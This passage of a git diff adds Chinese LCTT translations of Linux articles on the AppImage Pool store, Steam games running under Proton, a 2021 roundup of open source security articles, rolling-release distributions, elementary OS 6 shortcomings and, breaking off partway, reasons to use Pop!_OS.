AppImage 的应用商店 +====== + +> 这是一个管理和寻找 AppImage 应用的有趣的 GUI 前端。让我们来了解一下它! + +我们有很多关于 [AppImage 的历史和制作它][1] 的信息。如果你是 Linux 的新手,你也应该看看我们的 [AppImage 使用指南][2]。 + +AppImage 使应用可以很容易地在不同的发行版上运行,而不需要安装依赖关系或任何东西。 + +然而,与 [Flatpak][3] 的 Flathub 不同,你可能找不到一个浏览 AppImage 应用的门户。 + +[Nitrux OS][4] 中的 NX 软件中心做了类似的工作,但它不能轻易安装在其他发行版上。因此,AppImage Pool 作为 AppImage 应用的应用商店上场了,你可以安装在任何 Linux 发行版上。 + +### AppImage Pool:一个管理和寻找 AppImage 应用的 GUI 前端 + +![][5] + +AppImage Pool 是一个使用 Flutter 构建的 GUI 前端,它从 [AppImageHub][6] 获取应用数据,并让你快速搜索、下载和管理 AppImage 应用。 + +它并不托管任何 AppImage 文件,但它可以让你从项目的 GitHub 页面下载可用的 AppImage 文件。 + +当你试图下载一个 AppImage 文件时,它会从应用的 GitHub 发布页列出所有下载方式。 + +我不确定它是否仅限于来自 GitHub 的项目,但你可以在 [AppImageHub 门户][6] 中找到各种不同方式。 + +### AppImage Pool 的特点 + +![][7] + +AppImage 是一个简单直白的应用商店,可以让你搜索、下载和管理 AppImage 文件。 + +其中一些功能包括: + + * 能够下载特定版本的 AppImage 文件 + * 按类别过滤应用 + * 下载进度图标 + * 管理所有已安装的 AppImages + * 查看下载历史 + +考虑到该应用是使用 Flutter 构建的,它给人带来了快捷的用户体验。 + +如果你是一个开发者,这鼓励了你使用它制作一个应用的话,你也可以 [在 Linux 中安装 Flutter][8]。 + +![][9] + +### 在 Linux 中安装 AppImage Pool + +由于明显的原因,开发者提供了一个可供下载的 AppImage 文件。 + +你也可以选择从 [Flathub][11] 中 [安装它的 Flatpak 包][10]。如果你想测试它即将发布的任何版本,也有一个每夜构建的 AppImage 版本。 + +在其 [GitHub 页面][12] 上可以了解关于它的更多信息。 + +- [AppImage Pool 下载][13] + +### 使用 AppImage Pool 的感受 + +![][14] + +该应用可以如预期的工作。然而,我注意到,列出的一些应用没有下载链接或任何相关信息。 + +毕竟,这些数据是来自于 AppImageHub 的。 + +另外,你可能会觉得奇怪,有些应用只列出了预发布的 AppImage 文件,比如 Blender。 + +![][15] + +虽然这也是可以选择项目发布分支的一个优势,但我认为我不会下载预发布包。 + +总的来说,找到一个能让人轻松下载和管理 AppImages 的东西是件好事。 + +我建议你试一试,并在下面的评论区告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/appimagepool/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/appimage-interview/ +[2]: https://itsfoss.com/use-appimage-linux/ +[3]: https://itsfoss.com/what-is-flatpak/ +[4]: https://nxos.org +[5]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/appimagepool.png?resize=800%2C450&ssl=1 +[6]: https://www.appimagehub.com +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/appimagepool-gimp.png?resize=800%2C571&ssl=1 +[8]: https://itsfoss.com/install-flutter-linux/ +[9]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/appimagepool-categories.png?resize=800%2C575&ssl=1 +[10]: https://itsfoss.com/flatpak-guide/ +[11]: https://flathub.org/apps/details/io.github.prateekmedia.appimagepool +[12]: https://github.com/prateekmedia/appimagepool +[13]: https://github.com/prateekmedia/appimagepool/releases +[14]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/appimagepool-main.png?resize=800%2C543&ssl=1 +[15]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/12/appimagepool-blender.png?resize=800%2C440&ssl=1 diff --git a/published/202112/20211221 Great News- 80- of Steam-s Top 100 Games Now Run on Linux.md b/published/202112/20211221 Great News- 80- of Steam-s Top 100 Games Now Run on Linux.md new file mode 100644 index 0000000000..42f9015178 --- /dev/null +++ b/published/202112/20211221 Great News- 80- of Steam-s Top 100 Games Now Run on Linux.md @@ -0,0 +1,80 @@ +[#]: subject: "Great News! 80% of Steam’s Top 100 Games Now Run on Linux" +[#]: via: "https://news.itsfoss.com/linux-game-rise-prtondb-dec-21/" +[#]: author: "Abhishek https://news.itsfoss.com/author/root/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14105-1.html" + +好消息!80% 的 Steam 前 100 名游戏可以在 Linux 上运行了 +====== + +> 多亏了 Proton 和 Steam Play,可以在 Linux 上更好地玩游戏了。 + +![](https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/rise-of-linux-games.png?w=1200&ssl=1) + +自从 [Steam 宣布 Proton 计划][1] 以来,我有一种感觉,Linux 上的游戏将迎来好时光。我很高兴我没有看错。 + +根据 [ProtonDB 网站][2],在 Steam 上排名前 100 的游戏中,80% 都得到了黄金或更好的评价。这实际上意味着,这些游戏在 Linux 桌面上会运行得很好。 + +![ProtonDB 在 2021 年 12 月对 Steam 游戏的评级][3] + +如果你对各种评级感到困惑,下面是它的含义: + + * 原生:游戏可以在 Linux 上原生运行 + * 白金:开箱就能完美运行 + * 黄金:调整后可完美运行 + * 白银:运行时有小问题,但一般来说是可玩的 + * 青铜:可以运行,但经常崩溃或有问题,不能舒适地玩 + * 残缺:要么无法启动,要么根本无法玩 + +简单来说,如果一个纯 Windows 的游戏至少达到黄金级评分,你应该能够通过 Steam Play 在 Linux 上玩这个游戏。 + +如果你看一下统计数字,在 Steam 上排名前 1000 的游戏中,有超过 750 个现在可以在 Linux 上玩。然而,在写这篇文章的时候,Steam 前 10 名游戏中只有 4 个在 Linux 上运行良好。 + +![ProtonDB 对前 10 名 Steam 游戏的评分][4] + +### ProtonDB 评级的可靠性如何? + +请注意,这些评级不是来自 Steam 本身。这些评级是基于游戏玩家在 Linux 上用 Proton 测试游戏时的报告。它提供了游戏表现的综合分数。 + +你可能想知道这些非官方的评级是否可靠?好吧,可能有很多因素,比如你的系统的 CPU、图形驱动等等。但是 ProtonDB 的评分可以帮助你确定你是否可以通过 Steam 在 Linux 上 [尝试一个纯 Windows 的游戏][5]。 + +### 到底什么是 Steam Play 和 Proton? + +如果你是新手,让我快速回顾一下,以帮助你更好地理解本文。 + +Steam 是一个可以让你安装和启动游戏的平台和客户端。它可以在 Windows、Linux 和 macOS 上运行。而游戏也会正确地标记为它们所能使用的平台。 + +几年前,Steam 推出了一个新的开源工具,名为 Proton 。它底层使用了 WINE 和许多其他工具,以改善 Linux 上纯 Windows 游戏的兼容性。 + +这项功能在 Steam 平台上提供在 Steam Play 测试版中,你必须从设置中明确启用它。 + +自此之后,志愿者和 Linux 游戏社区一起创建了一个可以在 Linux 上玩的游戏数据库。它最终演变成一个基于玩家反馈的评级系统。 + +Steam 也有自己的 [手持设备 Steam Deck 的评级系统][6]。 + +就个人而言,我更喜欢在 PS4 上玩有完整故事情节的单人游戏(因为我至今没有 PS5)。但我正在考虑搭建一个小型的游戏设备,使用 Steam 在 Linux 上玩游戏,特别是在过去几年里,Linux 游戏有了很大的改进。 + +你如何看待 Steam 和 Linux 游戏的发展? + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-game-rise-prtondb-dec-21/ + +作者:[Abhishek][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/root/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/steam-play-proton/ +[2]: https://www.protondb.com/ +[3]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/steam-protondb-linux-game-status-dec-2021.jpg?resize=1568%2C555&ssl=1 +[4]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/rating-for-top-10-steam-games-on-linux-dec-2021.jpg?w=1311&ssl=1 +[5]: https://itsfoss.com/steam-play/ +[6]: https://news.itsfoss.com/steamdeck-verified/ diff --git a/published/202112/20211222 5 open source security resources from 2021.md b/published/202112/20211222 5 open source security resources from 2021.md new file mode 100644 index 0000000000..064a34262b --- /dev/null +++ b/published/202112/20211222 5 open source security resources from 2021.md @@ -0,0 +1,85 @@ +[#]: subject: "5 open source security resources from 2021" +[#]: via: "https://opensource.com/article/21/12/open-source-security" +[#]: author: "Jessica Cherry https://opensource.com/users/cherrybomb" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14134-1.html" + +2021 总结:5 个开源安全资源 +====== + +> 你现在需要读的 2021 安全总结文章。 + +![](https://img.linux.net.cn/data/attachment/album/202112/31/112208zcc0ccatn8mkvddk.jpg) + +2021 年我们最常见的讨论之一是你自己数据的安全和隐私。显然,你的数据是你的,密码是安全的关键。今年的安全类的作者们提供了有用的知识和开源工具来保持你的数据和硬件安全。 + +以下是我对今年安全之旅选出的前五篇文章。 + +### 《6 个开源工具和初学者保护 Linux 服务器的技巧》 + +[Sahana Sreeram][3] 提供了从更新到恶意软件扫描的 [六个基本的服务器安全小知识][2]。这篇文章为你在家里或工作中的 Linux 服务器提供了一个起点。要特别注意密码强度部分和为你的服务器创建降低风险的密码策略要求的工具,因为这是你所使用的任何操作系统上最关键的做法。这篇文章是一篇实用指南,指导你在 Linux 服务器的日常工作中进行安全工作。正如 Sahana 所指出的,安全领域无疑正在扩大,这篇文章给了每个人着手预防的机会。 + +### 《用开源软件保护你的文件的 5 种方法》 + +接下来的 [这篇文章][4] 对于像我这样写了大量的文档(从文章到个人研究笔记都有)的人来说是非常有用的。作者 [Ksenia Fedoruk][5] 首先列出了保存文档的开源云存储服务。接下来,她介绍了加密的重要性以及在我们的文档中使用加密的方法。她还清楚地介绍了文件的数字签名和水印以及使用哪些开源工具。最后,文章涵盖了对我们制作和使用的文档进行密码保护的情况。结尾处的提醒遵循了今年安全领域的一个共同主题:你的数据是你的。 + +### 《4 个清除你的数据的 Linux 工具》 + +在 [这篇文章][6] 中,[Don Watkins][7] 涵盖了硬件的用途和维护。它以一系列擦除硬盘的工具作为引子,这样你的数据就不能被下一个使用设备的人拿走。在几个小的演练中,Don 涵盖了使用 GNU shred、ShredOS、`dd` 命令,以及最后的 `nvme-cli`。每一个都可以从你的硬件中删除所有的数据,并对你正在使用的、不再需要的硬盘进行删除。Don 的结论提供了一个温和的提醒:如果你要卖掉你的硬件,这并不意味着下一个人应该拥有你的数据。你的数据是你的。 + +### 《在 Linux 命令行上生成密码》 + +正如我在本期中早先时候指出的那样,密码对于今年的安全总结至关重要。在 [这篇文章][8] 中,我们的作者 [Sumantro Mukherjee][9] 首先介绍了许多网站在涉及到密码时可以有(也应该有)一个严格的规定。这篇文章循序渐进地介绍了如何使用 `pwgen`,首先是安装它,然后是生成密码。这是一个有用的工具,Sumantro 详细介绍了如何使用一些标志来生成符合任何网站或应用的要求和策略的密码。在这篇读物的最后,最后的总结包含了链接到一个方便的开源密码管理器列表,这个列表是我们的另一位作者 [Jason Baker][10] 在今年早些时候写的。这是一个重要的读物,可以让你为你在网站上的日常使用制定更好的密码,以防止黑客攻击或丢失你的账户中的数据。 + +### 《用这个开源软件加密你的文件》 + +今年的安全总结的最后,是一篇关于加密和加密文件的 [文章][11]。[Seth Kenlon][12] 介绍了一个名为 VeraCrypt 的开源跨平台加密工具。Seth 的演练深入解释了如何安装和使用 VeraCrypt,并展示了这个很酷的软件的易用性。但在此之前,他还简要介绍了 VeraCrypt 的前身 TrueCrypt 的历史,以及 VeraCrypt 是如何向后兼容以前用 TrueCrypt 的加密卷的。通过这个易于使用的开源加密软件,Seth 已经证明,你可以在本地拥有你的数据,并以你想要的方式进行加密。 + +### 荣誉提名 + +虽然这五篇是我今年的最爱,但这里还有两篇同样值得一读的提名文章。 + + * [Seth Kenlon][12] 的《[了解开源安全的 Linus 法则][13]》。 + * [Mike Calizo][14] 的《[如何成功执行 DevSecOps][15]》。 + +每篇文章都对安全策略和采用情况进行了结构化解读。 + +### 关于安全的总结 + +我强烈建议在今年阅读这些文章和 [其他几篇][16]。这些将使你为 2022 年安全世界的发展做好准备。你可以成为新一年的安全冠军。 + +你有一些想要推荐的工具吗?请留下评论或 [提出你的文章构思][17]。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/12/open-source-security + +作者:[Jessica Cherry][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003601_05_mech_osyearbook2016_security_cc.png?itok=3V07Lpko (A secure lock.) +[2]: https://opensource.com/article/21/4/securing-linux-servers +[3]: https://opensource.com/users/sahanasreeram01gmailcom +[4]: https://opensource.com/article/21/4/secure-documents-open-source +[5]: https://opensource.com/users/ksenia-fedoruk +[6]: https://opensource.com/article/21/10/linux-tools-erase-data +[7]: https://opensource.com/users/don-watkins +[8]: https://opensource.com/article/21/7/generate-passwords-pwgen +[9]: https://opensource.com/users/sumantro +[10]: https://opensource.com/users/jason-baker +[11]: https://opensource.com/article/21/4/open-source-encryption +[12]: https://opensource.com/users/seth +[13]: http://opensource.com/article/21/2/open-source-security +[14]: https://opensource.com/users/mcalizo +[15]: http://opensource.com/article/21/2/devsecops +[16]: https://opensource.com/tags/security +[17]: https://opensource.com/how-submit-article diff --git a/published/202112/20211223 7 Best Rolling Release Linux Distributions for People Who Want the Latest and Greatest of Kernel and Software.md b/published/202112/20211223 7 Best Rolling Release Linux Distributions for People Who Want the Latest and Greatest of Kernel and Software.md new file mode 100644 index 0000000000..44578af3bd --- /dev/null +++ b/published/202112/20211223 7 Best Rolling Release Linux Distributions for People Who Want the Latest and Greatest of Kernel and Software.md @@ -0,0 +1,151 @@ +[#]: subject: "7 Best Rolling Release Linux Distributions for People Who Want the Latest and Greatest of Kernel and Software" +[#]: via: "https://itsfoss.com/best-rolling-release-distros/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14112-1.html" + +7 个最好的 Linux 滚动发行版 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/24/121027sioukeih5bmp5c5l.jpg) + +林林总总的 Linux 发行版可以根据它们的特点、功能、预期用户群等分为不同的类别。在这篇文章中,我将列出一些最好的滚动发布的 Linux 发行版。 + +你知道什么是 [滚动发布的发行版][1] 吗?这些发行版不会等待 6 个月或更长时间才发布一个新的版本,提供给你更新的 Linux 内核、桌面环境和其他主要软件组件。它们会在这些组件发布后很快就进行更新。你不必将你的发行版从一个主要版本升级到下一个版本,因为你的发行版会定期得到升级。 + +现在你已经知道了,让我们来看看一些最好的滚动发布的 Linux 发行版。 + +### 你可以在桌面上使用的最佳滚动发行版 + +是的,这个列表主要是针对桌面用户。这里列出的一些发行版可能有服务器版本,但这不是这里的重点。 + +请注意,这并不是一个排名表。 + +#### 1、openSUSE Tumbleweed + +![OpenSUSE Tumbleweed][2] + +老派的 openSUSE 多年来一直按部就班地顺着版本号发布他们的系统。但在几年前,他们决定改变他们的产品,创建了 [openSUSE Leap 和 Tumbleweed][3]。 + +openSUSE Leap 采用的是版本式发布,每隔几年就会有一个新的版本,而 Tumbleweed 则是滚动式发布,新的软件在发布后不久就会出现在这个系统中。 + +[openSUSE Tumbleweed][4] 对于那些想留在红帽 RPM 阵营的人来说是一个很好的选择。openSUSE 有多样化的生态系统,它有一个巨大的软件库,Zypper 和 YaST 为你的软件包管理提供了很多选择。 + +#### 2、Arch Linux + +![Arch Linux][5] + +毋庸置疑,[Arch Linux][6] 是最流行的滚动发布版本。它几乎就是滚动发布的同义词。 + +[Arch Linux][7] 在 Linux 用户中具有崇高地位的原因有很多。我认为这更多是与 [安装 Arch Linux][8] 后的成就感有关,因为即使是安装程序,它都很别人不一样。 + +Arch 在其软件库中正式提供了一大批软件。而 [AUR 则通过社区的努力,几乎使所有其他的 Linux 软件都可以使用][9]。 + +如果你对 Linux 有一定的经验,想挑战自己的水平,这是一个不错的选择。 + +#### 3、Manjaro Linux + +![Manjaro Linux][10] + +[Manjaro][11] 基本上是免除了所有麻烦的 Arch Linux。 + +它是基于 Arch Linux 的,所以它具有 Arch Linux 的大部分优点。你可以得到 Pacman 和 AUR 的滚动发布模式。同时,Manjaro 有图形化的安装程序、基于 GUI 的软件包管理器和其他图形化工具来改善你的桌面体验。 + +Manjaro 更容易安装,也更容易使用。对于那些想舒适地呆在 Arch 领域的人来说是个不错的选择。 + +注意: 还有 [许多其他基于 Arch Linux 的优秀发行版][12],但我无法将其列入此列表中。如果你愿意,你可以试试 Garuda Linux、[EndeavourOS][13] 和其他许多基于 Arch 的发行版。 + +#### 4、Solus Linux + +![Solus Linux][14] + +和 Manjaro 一样,[Solus][15] 也是一个 “谨慎” 的滚动发行版。与 Manjaro 不同的是,它不是基于 Arch 的。它是从头开始创建的,使用的是 [eopkg 软件包管理器][16]。Solus 因创造了现代而直观的 Budgie 桌面环境备受赞誉。 + +像其他滚动发布的发行版一样,一旦你安装了 Solus,你就不需要升级到下一个版本的发行版(也可以像 ISO 刷新一样进行全新安装,带有更新的软件包)。 + +万一有欠缺的软件包也可以用 Snap 应用程序来补足。 + +如果你想要一些不同的东西,但又不至于复杂到让你感到不舒服,那么 Solus 是一个不错的选择。 + +#### 5、Debian Testing + +![Debian][17] + +你没有想到吧?Debian 以其对稳定性的关注而闻名,以至于其稳定的有时就像是陈旧,因为它提供的软件版本已经相当老旧。 + +但那是针对稳定分支的。Debian 有几个分支,其中一个叫做 Testing 分支。 + +看起来 Testing 是某种测试版、不稳定的版本,但这并不完全正确。[Debian Testing][18] 其实是下一个 Debian 稳定版本。实际的开发分支是 Debian Unstable(即 Sid)。Debian Testing 介于不稳定版和稳定版分支之间,它会在稳定版之前添加新的功能。 + +有些人在配置 Debian 时,在源列表中加入 `testing`。这使得他们的 Debian 系统永远停留在测试阶段。这是一种滚动发布的模式,Debian 用户可以不必离开舒适的 APT 和 deb 软件包管理系统。 + +#### 6、Void Linux + +![Void Linux][19] + +这是一个不寻常的、不太出名的发行版。[Void][20] 也是从头开始创建的,也就是说,它不是基于 Arch、Red Hat 或 Debian。 + +它是滚动发布的,但不像 Arch 那样激进。它优先考虑的是稳定性。这意味着当新的版本发布时,你不需要升级版本,但你也不会在最新的桌面环境版本一发布就得到它。 + +与其他发行版不同的另一点是,它使用 [runit][21] 作为初始化系统。 + +总的来说,如果你是一个有经验的 Linux 用户,Void 是一个不错的选择。 + +#### 7、Gentoo Linux + +![Gentoo Linux][22] + +另一个是你的同行们警告过的 [专家级 Linux 发行版][23] 之一。 + +[Gentoo][24] 不是每个人都能享用的茶或咖啡(无论你喜欢哪一种)。从安装到配置再到软件包管理都需要一定的专业知识和时间。 + +但是它有一个小众的专家用户群,他们会在编译一切需要的组件时废寝忘食。 + +如果你觉得其他发行版都不够有挑战性,Gentoo 可能是你的选择。 + +### 你对滚动发布的发行版有什么建议? + +正如我之前提到的,我在这里特意将其他基于 Arch 的发行版排除在外,否则列表中就只有 Arch 的衍生产品了。 + +但你可以自由地投出你的推荐,即使它是基于 Arch 的。评论区都是你的。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-rolling-release-distros/ + +作者:[Abhishek Prakash][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/rolling-release/ +[2]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/opensuse-tumbleweed.png?resize=800%2C350&ssl=1 +[3]: https://itsfoss.com/opensuse-leap-vs-tumbleweed/ +[4]: https://get.opensuse.org/tumbleweed/ +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/arch-linux.png?resize=800%2C350&ssl=1 +[6]: https://archlinux.org/ +[7]: https://itsfoss.com/why-arch-linux/ +[8]: https://itsfoss.com/install-arch-linux/ +[9]: https://itsfoss.com/aur-arch-linux/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/manjaro-linux.png?resize=800%2C350&ssl=1 +[11]: https://manjaro.org/ +[12]: https://itsfoss.com/arch-based-linux-distros/ +[13]: https://endeavouros.com/ +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/12/solus-linux.png?resize=800%2C350&ssl=1 +[15]: https://getsol.us/home/ +[16]: https://itsfoss.com/eopkg-commands/ +[17]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/12/debian-testing.png?resize=800%2C350&ssl=1 +[18]: https://wiki.debian.org/DebianTesting +[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/void-linux.png?resize=800%2C350&ssl=1 +[20]: https://voidlinux.org/ +[21]: http://smarden.org/runit/ +[22]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/07/gentoo-linux.png?resize=800%2C350&ssl=1 +[23]: https://itsfoss.com/advanced-linux-distros/ +[24]: https://www.gentoo.org/ diff --git a/published/202112/20211226 5 Things elementary OS 6 Should Improve for a Better Linux Desktop Experience.md b/published/202112/20211226 5 Things elementary OS 6 Should Improve for a Better Linux Desktop Experience.md new file mode 100644 index 0000000000..64d0152e6d --- /dev/null +++ b/published/202112/20211226 5 Things elementary OS 6 Should Improve for a Better Linux Desktop Experience.md @@ -0,0 +1,118 @@ +[#]: subject: "5 Things elementary OS 6 Should Improve for a Better Linux Desktop Experience" +[#]: via: "https://news.itsfoss.com/elementary-os-6-things-to-improve/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14120-1.html" + +elementary OS 6 应该改进体验的 5 个地方 +====== + +> elementary OS 是一个漂亮的 Linux 发行版,但它适合所有人吗?它们是否有可以做得更好的地方?下面是我的想法。 + +![](https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/elementary-os-opinion.png?w=1200&ssl=1) + +[elementary OS 的 6.1 是最新的版本][1],它做了许多基本的改进,带来了一些新功能。 + +当然,为你的系统选择的 Linux 发行版在很多方面都是不同的。然而,我认为在 elementary OS 中,有一些事情可以做得更好。 + +在这里,我列出了 elementary OS 中可以做的一些改进。 + +不过,这仅代表我个人观点,请诸位轻喷。 + +### elementary OS 中可以改进的东西 + +如果你想看的话,我也打算指出其他发行版的我不喜欢东西(从这篇开始)。 + +发行版通常仅展示其好的一面,除非有人指出一个发行版中潜在的细微差别,否则你无法真正确定这个发行版是否适合你。 + +#### 1、没有内置的 Debian 软件包安装程序 + +![][2] + +它是一个基于 Ubuntu 的发行版,但下载一个 deb 文件后才发现无法安装,还得让你寻找解决方案。 + +这当然是有原因的,因为 elementary OS 在 [elementary OS 6 发布][3] 时切换到了只使用 Flatpak 的模式,即使是对于第一方的应用程序也是如此。 + +然而,新用户很可能不知道像 Eddy 这样的解决方案,它是一个 Debian 软件包安装程序,可以在 AppCenter 中找到。 + +当你尝试安装 deb 包时,指向该工具的通知/提示应该说明清楚。或者,预下安装 Eddy 应该会让事情变得更方便。 + +#### 2、Flathub 支持开箱即用 + +![][4] + +Flatpak 优先的方法使安装软件更加安全和方便。然而,你不能通过 Flathub 安装 Flatpak 应用程序,除非你(使用终端)手动添加了第三方 Flatpak 仓库。 + +即使 AppCenter 提供了 Flatpak 应用程序,但它可能不足以满足所有用户的需要。相比之下,Flathub 提供了大量的 Flatpak 应用程序。 + +虽然提供第一方的体验,并且让用户能够在需要时启用第三方(Flathub)是件好事,但是否可以做些什么来轻松启用 Flathub 的支持,而无需去终端?(忽略 flatpak 的参考文件) + +![][5] + +好吧,我认为用一个快速切换开关来启用/禁用开箱即用的 Flathub 支持可以使事情变得更好。 + +或者,像你在上面的截图中注意到的那样,在建议启用 Flathub 的同时提到该命令。 + +#### 3、最小化按钮 + +![][6] + +考虑到 elementary OS 没有像 Pop!_OS 那样的自动平铺窗口功能,许多应用程序上缺少最小化按钮可能会让人觉得令人不适。 + +是的,你可以利用键盘上的快捷键 `Super+H` 来隐藏/最小化窗口。然而,对于以鼠标操作为主的用户来说,没有最小化按钮的感觉并不舒服。 + +#### 4、没有系统托盘支持 + +![][7] + +根据他们的设计选择,elementary OS 团队认为最好不要有系统托盘的支持(或者是我从 Reddit 的一些帖子中了解到的情况)。 + +不幸的是,系统托盘的图标对于快速访问和关注某事物的状态非常有用。 + +例如,我可以从应用指示器图标中快速访问 Flameshot 截图工具,在使用 Insync 等工具时检查同步状态,当 Slack 中有我的信息时也会得到通知。 + +而如果没有系统托盘图标的整合支持,我就不能做这些事情,这是一个缺陷。 + +#### 5、一个单独的 NVIDIA ISO + +![][8] + +单独的 NVIDIA ISO(或 Nvidia 显卡安装模式)比通过软件中心安装专有的 Nvidia 驱动程序要方便得多。 + +当然,我在使用 AppCenter 安装 Nvidia 驱动时没有任何问题。但是,有了单独的 ISO,你就省去了安装后的额外步骤。 + +### 总结 + +每个操作系统都有缺陷,Linux 发行版也不例外。 + +有时这些细微的差别是根据其目标用户设计出来的。你可能喜欢也可能不喜欢一个发行版所做的一切,这就是为什么要知道它们能否做得更好(或是否适合你)。 + +elementary OS 无疑是 [最漂亮的 Linux 发行版之一][9]。但是,它适合你吗? + +好吧,如果我提到的一些观点是你不在意的,那它对你来说应该是很好的体验。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/elementary-os-6-things-to-improve/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://news.itsfoss.com/elementary-os-6-1-release/ +[2]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Screenshot-from-2021-12-17-12.16.32.png?w=941&ssl=1 +[3]: https://news.itsfoss.com/elementary-os-6-release/ +[4]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/Screenshot-from-2021-12-17-12.16.01.png?w=942&ssl=1 +[5]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/elementary-flathub-add.png?w=964&ssl=1 +[6]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/minimize-button-elementary-os.png?w=1015&ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/elementary-os-system-tray.png?w=392&ssl=1 +[8]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/elementary-os-nvidia-driver.png?w=944&ssl=1 +[9]: https://itsfoss.com/beautiful-linux-distributions/ diff --git a/published/202112/20211226 7 Reasons Why I Use Pop-_OS Linux Distro as My Daily Driver.md b/published/202112/20211226 7 Reasons Why I Use Pop-_OS Linux Distro as My Daily Driver.md new file mode 100644 index 0000000000..7d36c93293 --- /dev/null +++ b/published/202112/20211226 7 Reasons Why I Use Pop-_OS Linux Distro as My Daily Driver.md @@ -0,0 +1,165 @@ +[#]: subject: "7 Reasons Why I Use Pop!_OS Linux Distro as My Daily Driver" +[#]: via: "https://itsfoss.com/why-use-pop-os/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14118-1.html" + +我把 Pop!_OS Linux 作为主要系统的 7 个原因 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/26/115716cr4hqyp8qjrxyqp9.jpg) + +Pop!_OS 是向 Linux 初学者和游戏玩家的热门推荐。但是,Pop!_OS 从其他基于 Ubuntu 的发行版中脱颖而出的原因有哪些?为什么你应该考虑把它作为你电脑日常使用的系统? + +三年前,我从 Ubuntu 转到了 [Pop!_OS][1],从那时起它就成了我的日常系统。 + +让我为你指出选择它作为你的日常操作系统的好处。 + +### 选择 Pop!_OS 而不是其他 Linux 发行版的原因 + +请注意,这里列出的一些原因可能是主观的,完全取决于你想要什么,以及你期望的桌面体验。 + +考虑到这一点,让我强调一下为什么我选择 [Pop!_OS][2] 作为我的主要操作系统,而不是其他 Linux 发行版。 + +#### 1、单独的 NVIDIA/AMD ISO + +![][3] + +如果你有一个装有 Nvidia GPU 的机器,使用 [Nouveau][4](Nvidia 显卡的开源驱动程序)来使其工作是不可行的。 + +好吧,你的显示器可以工作,但你不能发挥你的显卡的优势。 + +例如,你会在几乎所有需要利用 GPU 的任务中遇到卡顿和性能问题。 + +因此,专有的 Nvidia 驱动程序是解决这些问题的唯一解决方案。 + +而且,为了让添加专有驱动程序能够开箱即用,发行版需要将其包含在 ISO 中,或者提供一个单独的 ISO,其中包含 Nvidia 最新可用的专有驱动程序。 + 